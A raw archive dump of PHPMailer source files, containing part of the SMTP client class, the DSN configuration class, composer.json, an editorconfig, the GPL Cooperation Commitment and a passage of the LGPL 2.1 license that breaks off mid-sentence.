/** * Send an SMTP VRFY command. * * @param string $name The name to verify * * @return bool */ public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", [250, 251]); } /** * Send an SMTP NOOP command. * Used to keep keep-alives alive, doesn't actually do anything. * * @return bool */ public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } /** * Send an SMTP TURN command. * This is an optional command for SMTP that this class does not support. * This method is here to make the RFC821 Definition complete for this class * and _may_ be implemented in future. * Implements from RFC 821: TURN <CRLF>. * * @return bool */ public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } /** * Send raw data to the server. * * @param string $data The data to send * @param string $command Optionally, the command this is part of, used only for controlling debug output * * @return int|bool The number of bytes sent to the server or false on error */ public function client_send($data, $command = '') { //If SMTP transcripts are left enabled, or debug output is posted online //it can leak credentials, so hide credentials in all but lowest level if ( self::DEBUG_LOWLEVEL > $this->do_debug && in_array($command, ['User & Password', 'Username', 'Password'], true) ) { $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT); } else { $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT); } set_error_handler([$this, 'errorHandler']); $result = fwrite($this->smtp_conn, $data); restore_error_handler(); return $result; } /** * Get the latest error. * * @return array */ public function getError() { return $this->error; } /** * Get SMTP extensions available on the server. * * @return array|null */ public function getServerExtList() { return $this->server_caps; } /** * Get metadata about the SMTP server from its HELO/EHLO response. * The method works in three ways, dependent on argument value and current state: * 1. HELO/EHLO has not been sent - returns null and populates $this->error. * 2. HELO has been sent - * $name == 'HELO': returns server name * $name == 'EHLO': returns boolean false * $name == any other string: returns null and populates $this->error * 3. EHLO has been sent - * $name == 'HELO'|'EHLO': returns the server name * $name == any other string: if extension $name exists, returns True * or its options (e.g. AUTH mechanisms supported). Otherwise returns False. * * @param string $name Name of SMTP extension or 'HELO'|'EHLO' * * @return string|bool|null */ public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return null; } if (!array_key_exists($name, $this->server_caps)) { if ('HELO' === $name) { return $this->server_caps['EHLO']; } if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used; No information about server extensions available'); return null; } return $this->server_caps[$name]; } /** * Get the last reply from the server. * * @return string */ public function getLastReply() { return $this->last_reply; } /** * Read the SMTP server's response. * Either before eof or socket timeout occurs on the operation. * With SMTP we can tell if we have more lines to read if the * 4th character is '-' symbol. If it is a space then we don't * need to read anything else. * * @return string */ protected function get_lines() { //If the connection is bad, give up straight away if (!is_resource($this->smtp_conn)) { return ''; } $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } $selR = [$this->smtp_conn]; $selW = null; while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { //Must pass vars in here as params are by reference //solution for signals inspired by https://github.com/symfony/symfony/pull/6540 set_error_handler([$this, 'errorHandler']); $n = stream_select($selR, $selW, $selW, $this->Timelimit); restore_error_handler(); if ($n === false) { $message = $this->getError()['detail']; $this->edebug( 'SMTP -> get_lines(): select failed (' . $message . ')', self::DEBUG_LOWLEVEL ); //stream_select returns false when the `select` system call is interrupted //by an incoming signal, try the select again if (stripos($message, 'interrupted system call') !== false) { $this->edebug( 'SMTP -> get_lines(): retrying stream_select', self::DEBUG_LOWLEVEL ); $this->setError(''); continue; } break; } if (!$n) { $this->edebug( 'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Deliberate noise suppression - errors are handled afterwards $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH); $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL); $data .= $str; //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), //or 4th character is a space or a line break char, we are done reading, break the loop. //String array access is a significant micro-optimisation over strlen if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") { break; } //Timed-out? Log and break $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Now check if reads took too long if ($endtime && time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } /** * Enable or disable VERP address generation. * * @param bool $enabled */ public function setVerp($enabled = false) { $this->do_verp = $enabled; } /** * Get VERP address generation mode. * * @return bool */ public function getVerp() { return $this->do_verp; } /** * Set error messages and codes. * * @param string $message The error message * @param string $detail Further detail on the error * @param string $smtp_code An associated SMTP error code * @param string $smtp_code_ex Extended SMTP code */ protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = [ 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex, ]; } /** * Set debug output method. * * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it */ public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } /** * Get debug output method. * * @return string */ public function getDebugOutput() { return $this->Debugoutput; } /** * Set debug output level. * * @param int $level */ public function setDebugLevel($level = 0) { $this->do_debug = $level; } /** * Get debug output level. * * @return int */ public function getDebugLevel() { return $this->do_debug; } /** * Set SMTP timeout. * * @param int $timeout The timeout duration in seconds */ public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } /** * Get SMTP timeout. * * @return int */ public function getTimeout() { return $this->Timeout; } /** * Reports an error number and string. * * @param int $errno The error number returned by PHP * @param string $errmsg The error message returned by PHP * @param string $errfile The file the error occurred in * @param int $errline The line number the error occurred on */ protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { $notice = 'Connection failed.'; $this->setError( $notice, $errmsg, (string) $errno ); $this->edebug( "$notice Error #$errno: $errmsg [$errfile line $errline]", self::DEBUG_CONNECTION ); } /** * Extract and return the ID of the last SMTP transaction based on * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. * Relies on the host providing the ID in response to a DATA command. * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null */ protected function recordLastTransactionID() { $reply = $this->getLastReply(); if (empty($reply)) { $this->last_smtp_transaction_id = null; } else { $this->last_smtp_transaction_id = false; foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { $matches = []; if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { $this->last_smtp_transaction_id = trim($matches[1]); break; } } } return $this->last_smtp_transaction_id; } /** * Get the queue/transaction ID of the last SMTP transaction * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null * * @see recordLastTransactionID() */ public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } phpmailer/phpmailer/src/DSNConfigurator.php000064400000015323151676714400015034 0ustar00<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2023 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * Configure PHPMailer with DSN string. * * @see https://en.wikipedia.org/wiki/Data_source_name * * @author Oleg Voronkovich <oleg-voronkovich@yandex.ru> */ class DSNConfigurator { /** * Create new PHPMailer instance configured by DSN. * * @param string $dsn DSN * @param bool $exceptions Should we throw external exceptions? * * @return PHPMailer */ public static function mailer($dsn, $exceptions = null) { static $configurator = null; if (null === $configurator) { $configurator = new DSNConfigurator(); } return $configurator->configure(new PHPMailer($exceptions), $dsn); } /** * Configure PHPMailer instance with DSN string. * * @param PHPMailer $mailer PHPMailer instance * @param string $dsn DSN * * @return PHPMailer */ public function configure(PHPMailer $mailer, $dsn) { $config = $this->parseDSN($dsn); $this->applyConfig($mailer, $config); return $mailer; } /** * Parse DSN string. * * @param string $dsn DSN * * @throws Exception If DSN is malformed * * @return array Configuration */ private function parseDSN($dsn) { $config = $this->parseUrl($dsn); if (false === $config || !isset($config['scheme']) || !isset($config['host'])) { throw new Exception('Malformed DSN'); } if (isset($config['query'])) { parse_str($config['query'], $config['query']); } return $config; } /** * Apply configuration to mailer. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration * * @throws Exception If scheme is invalid */ private function applyConfig(PHPMailer $mailer, $config) { switch ($config['scheme']) { case 'mail': $mailer->isMail(); break; case 'sendmail': $mailer->isSendmail(); break; case 'qmail': $mailer->isQmail(); break; case 'smtp': case 'smtps': $mailer->isSMTP(); $this->configureSMTP($mailer, $config); break; default: throw new Exception( sprintf( 'Invalid scheme: "%s". Allowed values: "mail", "sendmail", "qmail", "smtp", "smtps".', $config['scheme'] ) ); } if (isset($config['query'])) { $this->configureOptions($mailer, $config['query']); } } /** * Configure SMTP. * * @param PHPMailer $mailer PHPMailer instance * @param array $config Configuration */ private function configureSMTP($mailer, $config) { $isSMTPS = 'smtps' === $config['scheme']; if ($isSMTPS) { $mailer->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mailer->Host = $config['host']; if (isset($config['port'])) { $mailer->Port = $config['port']; } elseif ($isSMTPS) { $mailer->Port = SMTP::DEFAULT_SECURE_PORT; } $mailer->SMTPAuth = isset($config['user']) || isset($config['pass']); if (isset($config['user'])) { $mailer->Username = $config['user']; } if (isset($config['pass'])) { $mailer->Password = $config['pass']; } } /** * Configure options. * * @param PHPMailer $mailer PHPMailer instance * @param array $options Options * * @throws Exception If option is unknown */ private function configureOptions(PHPMailer $mailer, $options) { $allowedOptions = get_object_vars($mailer); unset($allowedOptions['Mailer']); unset($allowedOptions['SMTPAuth']); unset($allowedOptions['Username']); unset($allowedOptions['Password']); unset($allowedOptions['Hostname']); unset($allowedOptions['Port']); unset($allowedOptions['ErrorInfo']); $allowedOptions = \array_keys($allowedOptions); foreach ($options as $key => $value) { if (!in_array($key, $allowedOptions)) { throw new Exception( sprintf( 'Unknown option: "%s". Allowed values: "%s"', $key, implode('", "', $allowedOptions) ) ); } switch ($key) { case 'AllowEmpty': case 'SMTPAutoTLS': case 'SMTPKeepAlive': case 'SingleTo': case 'UseSendmailOptions': case 'do_verp': case 'DKIM_copyHeaderFields': $mailer->$key = (bool) $value; break; case 'Priority': case 'SMTPDebug': case 'WordWrap': $mailer->$key = (int) $value; break; default: $mailer->$key = $value; break; } } } /** * Parse a URL. * Wrapper for the built-in parse_url function to work around a bug in PHP 5.5. * * @param string $url URL * * @return array|false */ protected function parseUrl($url) { if (\PHP_VERSION_ID >= 50600 || false === strpos($url, '?')) { return parse_url($url); } $chunks = explode('?', $url); if (is_array($chunks)) { $result = parse_url($chunks[0]); if (is_array($result)) { $result['query'] = $chunks[1]; } return $result; } return false; } } phpmailer/phpmailer/composer.json000064400000005300151676714400013241 0ustar00{ "name": "phpmailer/phpmailer", "type": "library", "description": "PHPMailer is a full-featured email creation and transfer class for PHP", "authors": [ { "name": "Marcus Bointon", "email": "phpmailer@synchromedia.co.uk" }, { "name": "Jim Jagielski", "email": "jimjag@gmail.com" }, { "name": "Andy Prevost", "email": "codeworxtech@users.sourceforge.net" }, { "name": "Brent R. Matzelle" } ], "funding": [ { "url": "https://github.com/Synchro", "type": "github" } ], "config": { "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } }, "require": { "php": ">=5.5.0", "ext-ctype": "*", "ext-filter": "*", "ext-hash": "*" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "^1.0", "doctrine/annotations": "^1.2.6 || ^1.13.3", "php-parallel-lint/php-console-highlighter": "^1.0.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcompatibility/php-compatibility": "^9.3.5", "roave/security-advisories": "dev-latest", "squizlabs/php_codesniffer": "^3.7.2", "yoast/phpunit-polyfills": "^1.0.4" }, "suggest": { "decomplexity/SendOauth2": "Adapter for using XOAUTH2 authentication", "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", "ext-openssl": "Needed for secure SMTP sending and DKIM signing", "greew/oauth2-azure-provider": "Needed for Microsoft Azure XOAUTH2 authentication", "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", "league/oauth2-google": "Needed for Google XOAUTH2 authentication", "psr/log": "For optional PSR-3 debug logging", "thenetworg/oauth2-azure": "Needed for Microsoft XOAUTH2 authentication", "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)" }, "autoload": { "psr-4": { "PHPMailer\\PHPMailer\\": "src/" } }, "autoload-dev": { "psr-4": { "PHPMailer\\Test\\": "test/" } }, "license": "LGPL-2.1-only", "scripts": { "check": "./vendor/bin/phpcs", "test": "./vendor/bin/phpunit --no-coverage", "coverage": "./vendor/bin/phpunit", "lint": [ "@php ./vendor/php-parallel-lint/php-parallel-lint/parallel-lint . --show-deprecated -e php,phps --exclude vendor --exclude .git --exclude build" ] } } phpmailer/phpmailer/.editorconfig000064400000000334151676714400013176 0ustar00root = true [*] charset = utf-8 indent_size = 4 indent_style = space end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true [*.md] trim_trailing_whitespace = false [*.{yml,yaml}] indent_size = 2 phpmailer/phpmailer/COMMITMENT000064400000004054151676714400012123 0ustar00GPL Cooperation Commitment Version 1.0 Before filing or continuing to prosecute any legal proceeding or claim (other than a Defensive Action) arising from termination of a Covered License, we commit to extend to the person or entity ('you') accused of violating the Covered License the following provisions regarding cure and reinstatement, taken from GPL version 3. As used here, the term 'this License' refers to the specific Covered License being enforced. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. We intend this Commitment to be irrevocable, and binding and enforceable against us and assignees of or successors to our copyrights. Definitions 'Covered License' means the GNU General Public License, version 2 (GPLv2), the GNU Lesser General Public License, version 2.1 (LGPLv2.1), or the GNU Library General Public License, version 2 (LGPLv2), all as published by the Free Software Foundation. 'Defensive Action' means a legal proceeding or claim that We bring against you in response to a prior proceeding or claim initiated by you or your affiliate. 'We' means each contributor to this repository as of the date of inclusion of this file, including subsidiaries of a corporate contributor. This work is available under a Creative Commons Attribution-ShareAlike 4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/). phpmailer/phpmailer/LICENSE000064400000063641151676714400011540 0ustar00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY 